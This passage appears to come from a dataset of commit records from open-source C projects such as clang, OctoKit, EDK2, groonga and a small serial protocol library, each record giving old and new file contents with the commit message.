uanzhao\/gpdb,CraigHarris\/gpdb,Chibin\/gpdb,lisakowen\/gpdb,Quikling\/gpdb,xuegang\/gpdb,50wu\/gpdb,randomtask1155\/gpdb,yuanzhao\/gpdb,zaksoup\/gpdb,edespino\/gpdb,snaga\/postgres-xl,greenplum-db\/gpdb,rvs\/gpdb,adam8157\/gpdb,janebeckman\/gpdb,zaksoup\/gpdb,edespino\/gpdb,atris\/gpdb,chrishajas\/gpdb,lintzc\/gpdb,royc1\/gpdb,xuegang\/gpdb,snaga\/postgres-xl,tpostgres-projects\/tPostgres,xuegang\/gpdb,0x0FFF\/gpdb,kmjungersen\/PostgresXL,ashwinstar\/gpdb,chrishajas\/gpdb,postmind-net\/postgres-xl,Chibin\/gpdb,ashwinstar\/gpdb,xinzweb\/gpdb,yuanzhao\/gpdb,jmcatamney\/gpdb,chrishajas\/gpdb,Quikling\/gpdb,kaknikhil\/gpdb,yuanzhao\/gpdb,cjcjameson\/gpdb,Postgres-XL\/Postgres-XL,rvs\/gpdb,royc1\/gpdb,atris\/gpdb,adam8157\/gpdb,rvs\/gpdb,atris\/gpdb,lisakowen\/gpdb,lpetrov-pivotal\/gpdb,chrishajas\/gpdb,Chibin\/gpdb,Quikling\/gpdb,zaksoup\/gpdb,CraigHarris\/gpdb,randomtask1155\/gpdb,randomtask1155\/gpdb,pavanvd\/postgres-xl,0x0FFF\/gpdb,oberstet\/postgres-xl,royc1\/gpdb,adam8157\/gpdb,kaknikhil\/gpdb,zaksoup\/gpdb,janebeckman\/gpdb,Quikling\/gpdb,foyzur\/gpdb,ahachete\/gpdb,jmcatamney\/gpdb,oberstet\/postgres-xl,arcivanov\/postgres-xl,ashwinstar\/gpdb,foyzur\/gpdb,postmind-net\/postgres-xl,rvs\/gpdb,Postgres-XL\/Postgres-XL,50wu\/gpdb,lpetrov-pivotal\/gpdb"}
{"commit":"a8ea76a45a8771245e70e9b603eac8d9df1bcfad","old_file":"test\/CodeGen\/builtin-stackaddress.c","new_file":"test\/CodeGen\/builtin-stackaddress.c","old_contents":"\/\/ RUN: clang -emit-llvm < %s\nvoid* a(unsigned x) {\nreturn __builtin_return_address(0);\n}\n\nvoid* c(unsigned x) {\nreturn __builtin_frame_address(0);\n}\n\/\/ RUN: clang -emit-llvm < %s\nvoid* a(unsigned x) {\nreturn __builtin_return_address(0);\n}\n\nvoid* c(unsigned x) {\nreturn __builtin_frame_address(0);\n}\n","new_contents":"\/\/ RUN: clang -emit-llvm < %s | grep \"llvm.returnaddress\"\n\/\/ RUN: clang -emit-llvm < %s | grep \"llvm.frameaddress\"\nvoid* a(unsigned x) {\nreturn __builtin_return_address(0);\n}\n\nvoid* c(unsigned x) {\nreturn __builtin_frame_address(0);\n}\n","subject":"Fix test (it was incorrectly succeeding).","message":"Fix test (it was incorrectly succeeding).\n\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@51310 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"4e1130b196ef44fa1d453c644996239638af325e","old_file":"Frameworks\/include\/CGColorInternal.h","new_file":"Frameworks\/include\/CGColorInternal.h","old_contents":"","new_contents":"\/\/******************************************************************************\n\/\/\n\/\/ Copyright (c) Microsoft. All rights reserved.\n\/\/\n\/\/ This code is licensed under the MIT License (MIT).\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\/\/******************************************************************************\n#pragma once\n\n#include <CoreGraphics\/CGColor.h>\n\nstruct __CGColorQuad {\n    CGFloat r;\n    CGFloat g;\n    CGFloat b;\n    CGFloat a;\n\n    bool operator==(const __CGColorQuad& other) const {\n        return (r == other.r) && (g == other.g) && (b == other.b) && (a == other.a);\n    }\n\n    void Clear() {\n        r = g = b = a = 0.0f;\n    }\n\n    void SetColorComponents(CGFloat red, CGFloat green, CGFloat blue, CGFloat alpha) {\n        r = red;\n        g = green;\n        b = blue;\n        a = alpha;\n    }\n};\n","subject":"Implement internal representation of Color. This will help represent the component values of colors with respect to their colorspace","message":"Implement internal representation of Color.\nThis will help represent the component values of colors with respect to their colorspace\n","lang":"C","license":"mit","repos":"nathpete-msft\/WinObjC,nathpete-msft\/WinObjC,nathpete-msft\/WinObjC,nathpete-msft\/WinObjC,nathpete-msft\/WinObjC"}
{"commit":"7fcd3e596fbeabc0c6388c9f457b267adbb664a5","old_file":"OctoKit\/OCTClient+Issues.h","new_file":"OctoKit\/OCTClient+Issues.h","old_contents":"\/\/\n\/\/  OCTClient+Issues.h\n\/\/  OctoKit\n\/\/\n\/\/  Created by leichunfeng on 15\/3\/7.\n\/\/  Copyright (c) 2015年 GitHub. All rights reserved.\n\/\/\n\n#import <OctoKit\/OctoKit.h>\n\n@interface OCTClient (Issues)\n\n\/\/ Creates an issue.\n\/\/\n\/\/ title      - The title of the issue. This must not be nil.\n\/\/ body       - The contents of the issue. This can be nil.\n\/\/ assignee   - Login for the user that this issue should be assigned to. NOTE:\n\/\/              Only users with push access can set the assignee for new issues.\n\/\/              The assignee is silently dropped otherwise. This can be nil.\n\/\/ milestone  - Milestone to associate this issue with. NOTE: Only users with\n\/\/              push access can set the milestone for new issues. The milestone\n\/\/              is silently dropped otherwise. This can be nil.\n\/\/ labels     - Labels to associate with this issue. NOTE: Only users with push\n\/\/              access can set labels for new issues. Labels are silently dropped\n\/\/              otherwise. This can be nil.\n\/\/ repository - The repository in which to create the issue. This must not be nil.\n\/\/\n\/\/ Returns a signal which will send the created `OCTIssue` then complete, or error.\n- (RACSignal *)createIssueWithTitle:(NSString *)title body:(NSString *)body assignee:(NSString *)assignee milestone:(NSUInteger)milestone labels:(NSArray *)labels inRepository:(OCTRepository *)repository;\n\n@end\n","new_contents":"\/\/\n\/\/  OCTClient+Issues.h\n\/\/  OctoKit\n\/\/\n\/\/  Created by leichunfeng on 15\/3\/7.\n\/\/  Copyright (c) 2015年 GitHub. All rights reserved.\n\/\/\n\n#import <OctoKit\/OctoKit.h>\n\n@interface OCTClient (Issues)\n\n\/\/\/ Creates an issue.\n\/\/\/\n\/\/\/ title      - The title of the issue. This must not be nil.\n\/\/\/ body       - The contents of the issue. This can be nil.\n\/\/\/ assignee   - Login for the user that this issue should be assigned to. NOTE:\n\/\/\/              Only users with push access can set the assignee for new issues.\n\/\/               The assignee is silently dropped otherwise. This can be nil.\n\/\/\/ milestone  - Milestone to associate this issue with. NOTE: Only users with\n\/\/\/              push access can set the milestone for new issues. The milestone\n\/\/\/              is silently dropped otherwise. This can be nil.\n\/\/\/ labels     - Labels to associate with this issue. NOTE: Only users with push\n\/\/\/              access can set labels for new issues. Labels are silently dropped\n\/\/\/              otherwise. This can be nil.\n\/\/\/ repository - The repository in which to create the issue. This must not be nil.\n\/\/\/\n\/\/\/ Returns a signal which will send the created `OCTIssue` then complete, or error.\n- (RACSignal *)createIssueWithTitle:(NSString *)title body:(NSString *)body assignee:(NSString *)assignee milestone:(NSUInteger)milestone labels:(NSArray *)labels inRepository:(OCTRepository *)repository;\n\n@end\n","subject":"Use triple \/s replace double \/s.","message":"Use triple \/s replace double \/s.\n","lang":"C","license":"mit","repos":"Acidburn0zzz\/octokit.objc,xantage\/octokit.objc,phatblat\/octokit.objc,cnbin\/octokit.objc,daemonchen\/octokit.objc,daemonchen\/octokit.objc,CHNLiPeng\/octokit.objc,leichunfeng\/octokit.objc,xantage\/octokit.objc,wrcj12138aaa\/octokit.objc,wrcj12138aaa\/octokit.objc,daukantas\/octokit.objc,leichunfeng\/octokit.objc,GroundControl-Solutions\/octokit.objc,Palleas\/octokit.objc,Palleas\/octokit.objc,Acidburn0zzz\/octokit.objc,jonesgithub\/octokit.objc,phatblat\/octokit.objc,GroundControl-Solutions\/octokit.objc,daukantas\/octokit.objc,cnbin\/octokit.objc,CHNLiPeng\/octokit.objc,jonesgithub\/octokit.objc"}
{"commit":"f14fc9d3af0a098ac8edf43fe494b546471cc029","old_file":"SSPSolution\/SSPSolution\/DoorEntity.h","new_file":"SSPSolution\/SSPSolution\/DoorEntity.h","old_contents":"#ifndef SSPAPPLICATION_ENTITIES_DOORENTITY_H\n#define SSPAPPLICATION_ENTITIES_DOORENTITY_H\n\n#include \"Entity.h\"\n\nclass DoorEntity :\n\tpublic Entity\n{\nprivate:\n\tbool m_isOpened;\n\tfloat m_minRotation;\n\tfloat m_maxRotation;\n\tfloat m_rotateTime;\n\tfloat m_rotatePerSec;\n\npublic:\n\tDoorEntity();\n\tvirtual ~DoorEntity();\n\n\tint Initialize(int entityID, PhysicsComponent* pComp, GraphicsComponent* gComp, float minRotation, float maxRotation, float rotateTime);\n\n\tint Update(float dT, InputHandler* inputHandler);\n\tint React(int entityID, EVENT reactEvent);\n\n\tbool SetIsOpened(bool isOpened);\n\tbool GetIsOpened();\n};\n\n#endif","new_contents":"#ifndef SSPAPPLICATION_ENTITIES_DOORENTITY_H\n#define SSPAPPLICATION_ENTITIES_DOORENTITY_H\n\n#include \"Entity.h\"\n\nclass DoorEntity :\n\tpublic Entity\n{\nprivate:\n\tbool m_isOpened;\n\tfloat m_minRotation;\n\tfloat m_maxRotation;\n\tfloat m_rotateTime;\n\tfloat m_rotatePerSec;\n\npublic:\n\tDoorEntity();\n\tvirtual ~DoorEntity();\n\n\tint Initialize(int entityID, PhysicsComponent* pComp, GraphicsComponent* gComp, float minRotation = 0.0f, float maxRotation = DirectX::XM_PI \/ 2, float rotateTime = 1.0f);\n\n\tint Update(float dT, InputHandler* inputHandler);\n\tint React(int entityID, EVENT reactEvent);\n\n\tbool SetIsOpened(bool isOpened);\n\tbool GetIsOpened();\n};\n\n#endif","subject":"UPDATE Door.h initialize standard values","message":"UPDATE Door.h initialize standard values\n","lang":"C","license":"apache-2.0","repos":"Chringo\/SSP,Chringo\/SSP"}
{"commit":"168e25b70e76547af44c3d71f71215abbcafb686","old_file":"libcwap.h","new_file":"libcwap.h","old_contents":"#ifndef LIBCWAP_H\n#define LIBCWAP_H\n\n#include <stddef.h>\n#include <inttypes.h>\n\ntypedef uint32_t time_t;\n\ntypedef size_t (*read_function_t)(char *, size_t);\n\n#define CWAP_TIME_REQUEST '\\t'\n#define CWAP_TIME_SET 'T'\n#define CWAP_SET_ALARM_TIMESTAMP 'O'\n\nstruct libcwap_functions {\n    void (*time_request_function)(void);\n    void (*time_set_function)(time_t);\n    void (*alarm_set_timestamp)(uint8_t, time_t);\n    \/\/ etc.\n};\n\nvoid libcwap_action(size_t (*)(char *, size_t));\nvoid libcwap_register(struct libcwap_functions *);\n#endif\n","new_contents":"#ifndef LIBCWAP_H\n#define LIBCWAP_H\n\n#include <stddef.h>\n#include <inttypes.h>\n\ntypedef uint32_t time_t;\n\ntypedef size_t (*read_function_t)(char *, size_t);\n\n#define CWAP_TIME_REQUEST '\\t'\n#define CWAP_TIME_SET 'T'\n#define CWAP_SET_ALARM_TIMESTAMP 'O'\n\nstruct libcwap_functions {\n    void (*time_request_function)(void);\n    void (*time_set_function)(time_t);\n    void (*alarm_set_timestamp)(uint8_t, time_t);\n    \/\/ etc.\n};\n\nvoid libcwap_action(read_function_t);\nvoid libcwap_register(struct libcwap_functions *);\n#endif\n","subject":"Use the typedef read_function_t for readability","message":"Use the typedef read_function_t for readability\n","lang":"C","license":"mit","repos":"xim\/tsoc,xim\/tsoc,xim\/tsoc,xim\/tsoc"}
{"commit":"fa91d9afb5167914873fa64a709d41671edd0e91","old_file":"libcwap.c","new_file":"libcwap.c","old_contents":"#include <stdlib.h>\n\n#include \"libcwap.h\"\n\nstruct libcwap_functions * registered_functions = NULL;\n\nvoid libcwap_action(size_t (*read_function)(char *, size_t)) {\n    char action;\n    if (!read_function(&action, 1))\n        return;\n\n    \/\/ Remember to increase the buffer if we want to receive larger packets.\n    char data[4];\n    switch (action) {\n        case 'T':\n            if (!read_function(data, 4))\n                break;\n            if (registered_functions->time_set_function != NULL)\n                registered_functions->time_set_function(*(time_t *) data); \/\/ TODO verify these casts\n            break;\n        case 'O':\n            if (!read_function(data, 4))\n                break;\n            if (registered_functions->alarm_set_timestamp != NULL)\n                registered_functions->alarm_set_timestamp(*(time_t *) data);\n            break;\n            \/\/ etc.\n        default:\n            ; \/\/ Assume the data was garbage.\n    }\n}\n\nvoid libcwap_register(struct libcwap_functions * funs) {\n    registered_functions = funs;\n}\n","new_contents":"#include <stdlib.h>\n\n#include \"libcwap.h\"\n\nstruct libcwap_functions * registered_functions = NULL;\n\ntypedef union {\n    char chars[4];\n    uint32_t uinteger;\n    int32_t integer;\n} data32_t;\n\nvoid libcwap_action(size_t (*read_function)(char *, size_t)) {\n    char action;\n    if (!read_function(&action, 1))\n        return;\n\n    data32_t data32;\n    switch (action) {\n        case 'T':\n            if (!read_function(data32.chars, 4))\n                break;\n            if (registered_functions->time_set_function != NULL)\n                registered_functions->time_set_function(data32.uinteger); \/\/ TODO verify these casts\n            break;\n        case 'O':\n            if (!read_function(data32.chars, 4))\n                break;\n            if (registered_functions->alarm_set_timestamp != NULL)\n                registered_functions->alarm_set_timestamp(data32.uinteger);\n            break;\n            \/\/ etc.\n        default:\n            ; \/\/ Assume the data was garbage.\n    }\n}\n\nvoid libcwap_register(struct libcwap_functions * funs) {\n    registered_functions = funs;\n}\n","subject":"Make a 32bit union for receiving data rather than shady casting","message":"Make a 32bit union for receiving data rather than shady casting\n","lang":"C","license":"mit","repos":"xim\/tsoc,xim\/tsoc,xim\/tsoc,xim\/tsoc"}
{"commit":"4610137c1c437300551b0e1b92936dc28789d662","old_file":"test\/Profile\/c-generate.c","new_file":"test\/Profile\/c-generate.c","old_contents":"\/\/ Check that the -fprofile-instr-generate= form works.\n\/\/ RUN: %clang_cc1 -main-file-name c-generate.c %s -o - -emit-llvm -fprofile-instr-generate=c-generate-test.profraw | FileCheck %s\n\n\/\/ CHECK: private constant [24 x i8] c\"c-generate-test.profraw\\00\"\n\/\/ CHECK: call void @__llvm_profile_set_filename_env_override(i8* getelementptr inbounds ([24 x i8], [24 x i8]* @0, i32 0, i32 0))\n\/\/ CHECK: declare void @__llvm_profile_set_filename_env_override(i8*)\n\nint main(void) {\n  return 0;\n}\n","new_contents":"\/\/ Check that the -fprofile-instr-generate= form works.\n\/\/ RUN: %clang_cc1 -main-file-name c-generate.c %s -o - -emit-llvm -fprofile-instr-generate=c-generate-test.profraw | FileCheck %s\n\n\/\/ CHECK: private constant [24 x i8] c\"c-generate-test.profraw\\00\"\n\/\/ CHECK: call void @__llvm_profile_override_default_filename(i8* getelementptr inbounds ([24 x i8], [24 x i8]* @0, i32 0, i32 0))\n\/\/ CHECK: declare void @__llvm_profile_override_default_filename(i8*)\n\nint main(void) {\n  return 0;\n}\n","subject":"Update name of compiler-rt routine for setting filename","message":"InstrProf: Update name of compiler-rt routine for setting filename\n\nPatch by Teresa Johnson.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@237187 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"f1e5e9d9db6e8e467d994f6307452147d2becbca","old_file":"bench\/udb2\/test-mlib.c","new_file":"bench\/udb2\/test-mlib.c","old_contents":"#include \"..\/common.c\"\n#include \"m-dict.h\"\n\nstatic inline bool oor_equal_p(unsigned int k, unsigned char n)\n{\n  return k == (unsigned int)n;\n}\nstatic inline void oor_set(unsigned int *k, unsigned char n)\n{\n  *k = (unsigned int)n;\n}\n\nDICT_OA_DEF2(dict_oa_uint,\n\t     unsigned int, M_OPEXTEND(M_DEFAULT_OPLIST, OOR_EQUAL(oor_equal_p), OOR_SET(oor_set M_IPTR)),\n\t     unsigned int, M_DEFAULT_OPLIST)\n\nvoid test_int(uint32_t n, uint32_t x0)\n{\n  uint32_t i, x, z = 0;\n  dict_oa_uint_t h;\n  dict_oa_uint_init(h);\n  for (i = 0, x = x0; i < n; ++i) {\n    x = hash32(x);\n    unsigned int key = get_key(n, x);\n    unsigned int *ptr = dict_oa_uint_get(h, key);\n    if (ptr) { (*ptr)++; z+= *ptr; }\n    else { dict_oa_uint_set_at(h, key, 1); z+=1; }\n  }\n  fprintf(stderr, \"# unique keys: %d; checksum: %u\\n\", (int) dict_oa_uint_size(h), z);\n  dict_oa_uint_clear(h);\n}\n","new_contents":"#include \"..\/common.c\"\n#include \"m-dict.h\"\n\nstatic inline bool oor_equal_p(unsigned int k, unsigned char n)\n{\n  return k == (unsigned int)n;\n}\nstatic inline void oor_set(unsigned int *k, unsigned char n)\n{\n  *k = (unsigned int)n;\n}\n\nDICT_OA_DEF2(dict_oa_uint,\n\t     unsigned int, M_OPEXTEND(M_DEFAULT_OPLIST, OOR_EQUAL(oor_equal_p), OOR_SET(oor_set M_IPTR)),\n\t     unsigned int, M_DEFAULT_OPLIST)\n\nvoid test_int(uint32_t n, uint32_t x0)\n{\n  uint32_t i, x, z = 0;\n  dict_oa_uint_t h;\n  dict_oa_uint_init(h);\n  for (i = 0, x = x0; i < n; ++i) {\n    x = hash32(x);\n    unsigned int key = get_key(n, x);\n    unsigned int *ptr = dict_oa_uint_get_at(h, key);\n    (*ptr)++;\n    z+= *ptr;\n  }\n  fprintf(stderr, \"# unique keys: %d; checksum: %u\\n\", (int) dict_oa_uint_size(h), z);\n  dict_oa_uint_clear(h);\n}\n","subject":"Simplify code to use get_at method with its get & create semantic","message":"Simplify code to use get_at method with its get & create semantic\n","lang":"C","license":"bsd-2-clause","repos":"P-p-H-d\/mlib,P-p-H-d\/mlib"}
{"commit":"714295fdcc9c64721b9f7d4db6fae8f7bdaca55a","old_file":"X10_Project\/Classes\/ColliderManager.h","new_file":"X10_Project\/Classes\/ColliderManager.h","old_contents":"#pragma once\nclass StageInformation;\nclass Collider;\nclass Bullet;\nclass Sling;\n\nclass ColliderManager\n{\npublic:\n\tColliderManager() {}\n\t~ColliderManager() {}\n\t\n\tvoid InitBullets(StageInformation* si);\n\tvoid ResetBullets();\n\tBullet* GetBulletToShot(Sling* sling);\n\tVector<Collider*>& GetColliders(){ return colliders; }\n\n\tbool HasBullet();\n\tvoid AddExplosion(Collider* explosion);\n\tvoid EraseCollider(Collider* collider); \n\nprivate:\n\tVector<Collider*> colliders;\n\tint curBulletIndex;\n\tint defaultBulletNum;\n};","new_contents":"#pragma once\n#include \"Collider.h\"\nclass StageInformation;\nclass Bullet;\nclass Sling;\n\nclass ColliderManager\n{\npublic:\n\tColliderManager() {}\n\t~ColliderManager() {}\n\t\n\tvoid InitBullets(StageInformation* si);\n\tvoid ResetBullets();\n\tBullet* GetBulletToShot(Sling* sling);\n\tVector<Collider*>& GetColliders(){ return colliders; }\n\n\tbool HasBullet();\n\tvoid AddExplosion(Collider* explosion);\n\tvoid EraseCollider(Collider* collider); \n\nprivate:\n\tVector<Collider*> colliders;\n\tint curBulletIndex;\n\tint defaultBulletNum;\n};","subject":"Fix file include bug (cocos Vector<T>)","message":"Fix file include bug (cocos Vector<T>)\n","lang":"C","license":"mit","repos":"kimsin3003\/X10,kimsin3003\/X10,kimsin3003\/X10,kimsin3003\/X10,kimsin3003\/X10"}
{"commit":"94db2b46f8108d0f5e6edc0d65ae20eee40414aa","old_file":"MdePkg\/Include\/PiPei.h","new_file":"MdePkg\/Include\/PiPei.h","old_contents":"\/** @file\r\n\r\n  Root include file for Mde Package SEC, PEIM, PEI_CORE type modules.\r\n\r\n  This is the include file for any module of type PEIM. PEIM\r\n  modules only use types defined via this include file and can\r\n  be ported easily to any environment. \r\n\r\nCopyright (c) 2006 - 2007, Intel Corporation\r\nAll rights reserved. This program and the accompanying materials\r\nare licensed and made available under the terms and conditions of the BSD License\r\nwhich accompanies this distribution.  The full text of the license may be found at\r\nhttp:\/\/opensource.org\/licenses\/bsd-license.php\r\n\r\nTHE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\r\nWITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\r\n\r\n**\/\r\n\r\n#ifndef __PI_PEI_H__\r\n#define __PI_PEI_H__\r\n\r\n#include <Uefi\/UefiBaseType.h>\r\n#include <Pi\/PiPeiCis.h>\r\n#include <Uefi\/UefiMultiPhase.h>\r\n\r\n\/\/\r\n\/\/ BUGBUG: The EFI_PEI_STARTUP_DESCRIPTOR definition does not follows PI specification.\r\n\/\/         After enabling PI for Nt32Pkg and tools generate correct autogen for PEI_CORE,\r\n\/\/         the following structure should be removed at once.\r\n\/\/\r\ntypedef struct {\r\n  UINTN                   BootFirmwareVolume;\r\n  UINTN                   SizeOfCacheAsRam;\r\n  EFI_PEI_PPI_DESCRIPTOR  *DispatchTable;\r\n} EFI_PEI_STARTUP_DESCRIPTOR;\r\n\r\n#endif\r\n\r\n","new_contents":"\/** @file\r\n\r\n  Root include file for Mde Package SEC, PEIM, PEI_CORE type modules.\r\n\r\n  This is the include file for any module of type PEIM. PEIM\r\n  modules only use types defined via this include file and can\r\n  be ported easily to any environment. \r\n\r\nCopyright (c) 2006 - 2007, Intel Corporation\r\nAll rights reserved. This program and the accompanying materials\r\nare licensed and made available under the terms and conditions of the BSD License\r\nwhich accompanies this distribution.  The full text of the license may be found at\r\nhttp:\/\/opensource.org\/licenses\/bsd-license.php\r\n\r\nTHE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\r\nWITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\r\n\r\n**\/\r\n\r\n#ifndef __PI_PEI_H__\r\n#define __PI_PEI_H__\r\n\r\n#include <Uefi\/UefiBaseType.h>\r\n#include <Pi\/PiPeiCis.h>\r\n#include <Uefi\/UefiMultiPhase.h>\r\n\r\n\r\n#endif\r\n\r\n","subject":"Move the EFI_PEI_STARTUP_DESCRIPTOR into IntelFrameworkPkg.","message":"Move the EFI_PEI_STARTUP_DESCRIPTOR into IntelFrameworkPkg.\n\ngit-svn-id: 5648d1bec6962b0a6d1d1b40eba8cf5cdb62da3d@4120 6f19259b-4bc3-4df7-8a09-765794883524\n","lang":"C","license":"bsd-2-clause","repos":"MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2"}
{"commit":"9b04b3ca1184556181562ce79e23cf3dfb572396","old_file":"includes\/libft_trm.h","new_file":"includes\/libft_trm.h","old_contents":"\/* ************************************************************************** *\/\n\/*                                                                            *\/\n\/*                                                        :::      ::::::::   *\/\n\/*   libft_trm.h                                        :+:      :+:    :+:   *\/\n\/*                                                    +:+ +:+         +:+     *\/\n\/*   By: ncoden <ncoden@student.42.fr>              +#+  +:+       +#+        *\/\n\/*                                                +#+#+#+#+#+   +#+           *\/\n\/*   Created: 2015\/05\/08 09:57:42 by ncoden            #+#    #+#             *\/\n\/*   Updated: 2015\/05\/11 18:53:58 by ncoden           ###   ########.fr       *\/\n\/*                                                                            *\/\n\/* ************************************************************************** *\/\n\n#ifndef LIBFT_TRM_H\n# define LIBFT_TRM_H\n\n# include <term.h>\n# include <termios.h>\n# include <curses.h>\n# include <sys\/ioctl.h>\n# include <signal.h>\n\ntypedef struct\t\ts_trm\n{\n\tstruct termios\t*opts;\n\tt_ilst_evnt\t\t*on_key;\n\tt_evnt\t\t\t*on_resize;\n}\t\t\t\t\tt_trm;\n\nstruct termios\t\t*ft_trmget();\nt_bool\t\t\t\tft_trmset(struct termios *trm);\n\n#endif\n","new_contents":"\/* ************************************************************************** *\/\n\/*                                                                            *\/\n\/*                                                        :::      ::::::::   *\/\n\/*   libft_trm.h                                        :+:      :+:    :+:   *\/\n\/*                                                    +:+ +:+         +:+     *\/\n\/*   By: ncoden <ncoden@student.42.fr>              +#+  +:+       +#+        *\/\n\/*                                                +#+#+#+#+#+   +#+           *\/\n\/*   Created: 2015\/05\/08 09:57:42 by ncoden            #+#    #+#             *\/\n\/*   Updated: 2015\/05\/12 00:42:36 by ncoden           ###   ########.fr       *\/\n\/*                                                                            *\/\n\/* ************************************************************************** *\/\n\n#ifndef LIBFT_TRM_H\n# define LIBFT_TRM_H\n\n# include <term.h>\n# include <termios.h>\n# include <curses.h>\n# include <sys\/ioctl.h>\n# include <signal.h>\n\ntypedef struct\t\ts_trm\n{\n\tstruct termios\t*opts;\n\tt_ilst_evnt\t\t*on_key_press;\n\tt_evnt\t\t\t*on_resize;\n}\t\t\t\t\tt_trm;\n\nstruct termios\t\t*ft_trmget();\nt_bool\t\t\t\tft_trmset(struct termios *trm);\n\n#endif\n","subject":"Change on_key term event to on_key_press","message":"Change on_key term event to on_key_press\n","lang":"C","license":"apache-2.0","repos":"ncoden\/libft"}
{"commit":"9f2e996500ef58f5ddadfab9ec7e882b9a201933","old_file":"include\/groonga.h","new_file":"include\/groonga.h","old_contents":"\/*\n  Copyright(C) 2014 Brazil\n\n  This library is free software; you can redistribute it and\/or\n  modify it under the terms of the GNU Lesser General Public\n  License as published by the Free Software Foundation; either\n  version 2.1 of the License, or (at your option) any later version.\n\n  This library is distributed in the hope that it will be useful,\n  but WITHOUT ANY WARRANTY; without even the implied warranty of\n  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n  Lesser General Public License for more details.\n\n  You should have received a copy of the GNU Lesser General Public\n  License along with this library; if not, write to the Free Software\n  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n*\/\n#ifndef GROONGA_H\n#define GROONGA_H\n\n#include <groonga\/groonga.h>\n#include <groonga\/ii.h>\n#include <groonga\/expr.h>\n#include <groonga\/util.h>\n\n#endif \/* GROONGA_H *\/\n","new_contents":"\/*\n  Copyright(C) 2014 Brazil\n\n  This library is free software; you can redistribute it and\/or\n  modify it under the terms of the GNU Lesser General Public\n  License as published by the Free Software Foundation; either\n  version 2.1 of the License, or (at your option) any later version.\n\n  This library is distributed in the hope that it will be useful,\n  but WITHOUT ANY WARRANTY; without even the implied warranty of\n  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n  Lesser General Public License for more details.\n\n  You should have received a copy of the GNU Lesser General Public\n  License along with this library; if not, write to the Free Software\n  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n*\/\n#ifndef GROONGA_H\n#define GROONGA_H\n\n#include \"groonga\/groonga.h\"\n#include \"groonga\/ii.h\"\n#include \"groonga\/expr.h\"\n#include \"groonga\/util.h\"\n\n#endif \/* GROONGA_H *\/\n","subject":"Use \"...\" for ensure including header files in sub directory","message":"Use \"...\" for ensure including header files in sub directory\n","lang":"C","license":"lgpl-2.1","repos":"kenhys\/groonga,naoa\/groonga,hiroyuki-sato\/groonga,groonga\/groonga,hiroyuki-sato\/groonga,hiroyuki-sato\/groonga,hiroyuki-sato\/groonga,kenhys\/groonga,redfigure\/groonga,naoa\/groonga,redfigure\/groonga,kenhys\/groonga,komainu8\/groonga,hiroyuki-sato\/groonga,cosmo0920\/groonga,cosmo0920\/groonga,redfigure\/groonga,naoa\/groonga,naoa\/groonga,komainu8\/groonga,naoa\/groonga,komainu8\/groonga,naoa\/groonga,redfigure\/groonga,groonga\/groonga,cosmo0920\/groonga,groonga\/groonga,komainu8\/groonga,komainu8\/groonga,groonga\/groonga,komainu8\/groonga,groonga\/groonga,kenhys\/groonga,cosmo0920\/groonga,kenhys\/groonga,groonga\/groonga,redfigure\/groonga,cosmo0920\/groonga,cosmo0920\/groonga,redfigure\/groonga,komainu8\/groonga,cosmo0920\/groonga,hiroyuki-sato\/groonga,kenhys\/groonga,groonga\/groonga,kenhys\/groonga,naoa\/groonga,kenhys\/groonga,cosmo0920\/groonga,redfigure\/groonga,redfigure\/groonga,groonga\/groonga,hiroyuki-sato\/groonga,hiroyuki-sato\/groonga,naoa\/groonga,komainu8\/groonga"}
